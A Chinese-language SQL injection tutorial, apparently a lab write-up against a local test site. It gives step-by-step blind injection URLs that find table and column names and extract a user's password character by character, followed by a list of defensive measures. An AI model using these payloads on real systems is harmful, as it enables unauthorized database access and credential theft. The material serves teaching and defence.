所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。[1]比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.
SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。
詳細步驟:(相關文件下載在最后)
1.針對給出的WEB系統運行AspWebServer
2.進入登錄頁面進行SQL注入漏洞測試
正常登錄:
用戶名:admin 密碼:admin
SQL注入漏洞測試:
在正常用戶名admin后增加一個單引號,單擊"登錄"
或在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
若出錯,證明沒有對'進行過濾,存在SQL注入漏洞
在正常用戶名admin后增加一個單引號,單擊"登錄"
出錯
在URL地址欄直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
登錄出錯
登錄出錯,證明存在SQL注入漏洞。
3.SQL注入攻擊
構造可以正常運行的目標地址
輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1
原SQL語句為SELECT * FROM data Where uname='admin',條件未變,但接收密碼為admin' and '1=1
登錄失敗
輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
原SQL語句為SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
登錄成功
可以正常運行的目標地址已經構造成功,此時可將1=1部分用SQL查詢語句替代,依次對數據庫表名、表中字段名、用戶和密碼長度、用戶和密碼進行測試
4. 猜解數據庫表名
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
成功,說明數據表名確為data;若不成功,則可反復測試,直至成功猜出表名
5. 猜解數據庫字段名
http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
若用戶名字段確為uname,則提示登錄成功
同理可猜出密碼字段為upass
猜測用戶名字段為name,登錄出錯
猜測用戶名字段為uname,登錄成功
說明數據庫中用戶名字段為uname
猜測密碼字段為upass,登錄成功
說明數據庫中密碼字段為upass
6.猜解密碼長度
已知有一用戶名為"wucm",首先猜其密碼長度大于1
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
成功,說明用戶"wucm"的密碼大于1, 繼續猜測密碼長度小于10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
成功,說明"wucm"的密碼長度小于10位,繼續猜測其密碼長度小于5
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a
出錯,說明"wucm"的密碼長度大于5位,繼續猜測其密碼長度大于8位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a
出錯,說明"wucm"的密碼長度小于8位,繼續猜測其密碼長度等于6位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a
成功,說明"wucm"的密碼長度為6位
7.猜解密碼
根據前面的測試我們已經知道該用戶的密碼長度位6位,接下來對密碼進行逐位猜測:
首先測試第一位是否為數字
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
出錯,說明密碼第一位不是數字, 測試是否位字母
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
成功,基本說明密碼第一位是字母, 接下來重復測試,不斷縮小字母范圍,最后確定密碼第一位為字母"w"
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
成功,說明密碼第一位位"w"
同理對6位密碼逐位進行猜測,最后得到密碼為"wcm987"
至此我們就猜測出用戶"wucm"的密碼為"wcm987",進行登陸測試:
登錄成功,證明整個猜測過程和最后得出的密碼都是正確的
防范SQL注入攻擊的方法:
既然SQL注入式攻擊的危害這么大,那么該如何來防治呢?下面這些建議或許對數據庫管理員防治SQL注入式攻擊有一定的幫助。
1、 普通用戶與系統管理員用戶的權限要有嚴格的區分。
如果一個普通用戶在使用查詢語句中嵌入另一個Drop Table語句,那么是否允許執行呢?由于Drop語句關系到數據庫的基本對象,故要操作這個語句用戶必須有相關的權限。在權限設計中,對于終端用戶,即應用軟件的使用者,沒有必要給他們數據庫對象的建立、刪除等權限。那么即使在他們使用SQL語句中帶有嵌入式的惡意代碼,由于其用戶權限的限制,這些代碼也將無法被執行。故應用程序在設計的時候,最好把系統管理員的用戶與普通用戶區分開來。如此可以最大限度的減少注入式攻擊對數據庫帶來的危害。
2、 強迫使用參數化語句。
如果在編寫SQL語句的時候,用戶輸入的變量不是直接嵌入到SQL語句。而是通過參數來傳遞這個變量的話,那么就可以有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不能夠直接被嵌入到SQL語句中。與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變量。參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。采用這種措施,可以杜絕大部分的SQL注入式攻擊。不過可惜的是,現在支持參數化語句的數據庫引擎并不多。不過數據庫工程師在開發產品的時候要盡量采用參數化語句。
3、 加強對用戶輸入的驗證。
總體來說,防治SQL注入式攻擊可以采用兩種方法,一是加強對用戶輸入內容的檢查與驗證;二是強迫使用參數化語句來傳遞用戶輸入的內容。在SQLServer數據庫中,有比較多的用戶輸入內容驗證工具,可以幫助管理員來對付SQL注入式攻擊。測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字符的輸入內容。這有助于防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助于防止有意造成的緩沖區溢出,對于防治注入式攻擊有比較明顯的效果。
如可以使用存儲過程來驗證用戶的輸入。利用存儲過程可以實現對用戶輸入變量的過濾,如拒絕一些特殊的符號。如以上那個惡意代碼中,只要存儲過程把那個分號過濾掉,那么這個惡意代碼也就沒有用武之地了。在執行SQL語句之前,可以通過數據庫的存儲過程,來拒絕接納一些特殊的符號。在不影響數據庫應用的前提下,應該讓數據庫拒絕包含以下字符的輸入。如分號分隔符,它是SQL注入式攻擊的主要幫兇。如注釋分隔符。注釋只有在數據設計的時候用的到。一般用戶的查詢語句中沒有必要注釋的內容,故可以直接把他拒絕掉,通常情況下這么做不會發生意外損失。把以上這些特殊符號拒絕掉,那么即使在SQL語句中嵌入了惡意代碼,他們也將毫無作為。
故始終通過測試類型、長度、格式和范圍來驗證用戶輸入,過濾用戶輸入的內容。這是防止SQL注入式攻擊的常見并且行之有效的措施。
4、 多多使用SQL Server數據庫自帶的安全參數。
為了減少注入式攻擊對于SQL Server數據庫的不良影響,在SQLServer數據庫專門設計了相對安全的SQL參數。在數據庫設計過程中,工程師要盡量采用這些參數來杜絕惡意的SQL注入式攻擊。
如在SQL Server數據庫中提供了Parameters集合。這個集合提供了類型檢查和長度驗證的功能。如果管理員采用了Parameters這個集合的話,則用戶輸入的內容將被視為字符值而不是可執行代碼。即使用戶輸入的內容中含有可執行代碼,則數據庫也會過濾掉。因為此時數據庫只把它當作普通的字符來處理。使用Parameters集合的另外一個優點是可以強制執行類型和長度檢查,范圍以外的值將觸發異常。如果用戶輸入的值不符合指定的類型與長度約束,就會發生異常,并報告給管理員。如上面這個案例中,如果員工編號定義的數據類型為字符串型,長度為10個字符。而用戶輸入的內容雖然也是字符類型的數據,但是其長度達到了20個字符。則此時就會引發異常,因為用戶輸入的內容長度超過了數據庫字段長度的限制。
5、 多層環境如何防治SQL注入式攻擊?
在多層應用環境中,用戶輸入的所有數據都應該在驗證之后才能被允許進入到可信區域。未通過驗證過程的數據應被數據庫拒絕,并向上一層返回一個錯誤信息。實現多層驗證。對無目的的惡意用戶采取的預防措施,對堅定的攻擊者可能無效。更好的做法是在用戶界面和所有跨信任邊界的后續點上驗證輸入。如在客戶端應用程序中驗證數據可以防止簡單的腳本注入。但是,如果下一層認為其輸入已通過驗證,則任何可以繞過客戶端的惡意用戶就可以不受限制地訪問系統。故對于多層應用環境,在防止注入式攻擊的時候,需要各層一起努力,在客戶端與數據庫端都要采用相應的措施來防治SQL語句的注入式攻擊。
6、 必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。
使用專業的漏洞掃描工具,可以幫助管理員來尋找可能被SQL注入式攻擊的點。不過漏洞掃描工具只能發現攻擊點,而不能夠主動起到防御SQL注入攻擊的作用。當然這個工具也經常被攻擊者拿來使用。如攻擊者可以利用這個工具自動搜索攻擊目標并實施攻擊。為此在必要的情況下,企業應當投資于一些專業的漏洞掃描工具。一個完善的漏洞掃描程序不同于網絡掃描程序,它專門查找數據庫中的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。所以憑借專業的工具,可以幫助管理員發現SQL注入式漏洞,并提醒管理員采取積極的措施來預防SQL注入式攻擊。如果攻擊者能夠發現的SQL注入式漏洞數據庫管理員都發現了并采取了積極的措施堵住漏洞,那么攻擊者也就無從下手了。
7、設置陷阱賬號:
設置兩個帳號,一個是普通管理員帳號,一個是防注入的帳號。將防注入的賬號設置的很象管理員,如 admin,以制造假象吸引軟件的檢測,而密碼是大于千字以上的中文字符,迫使軟件分析賬號的時候進入全負荷狀態甚至資源耗盡而死機。
攻擊與防御一直是對立存在的兩面,有新的攻擊方式就會有更好的防護方法!在計算機網絡方面兩者更是通過長期競爭實現共同的進步;任何系統都不是完美的,既然我們不能開發出絕對安全的系統,那我們就要時刻防范各種可能的攻擊。出現漏洞及時修復,這樣才能保證我們系統的安全與穩定!
附送一個動畫教程:SQLInjection.rar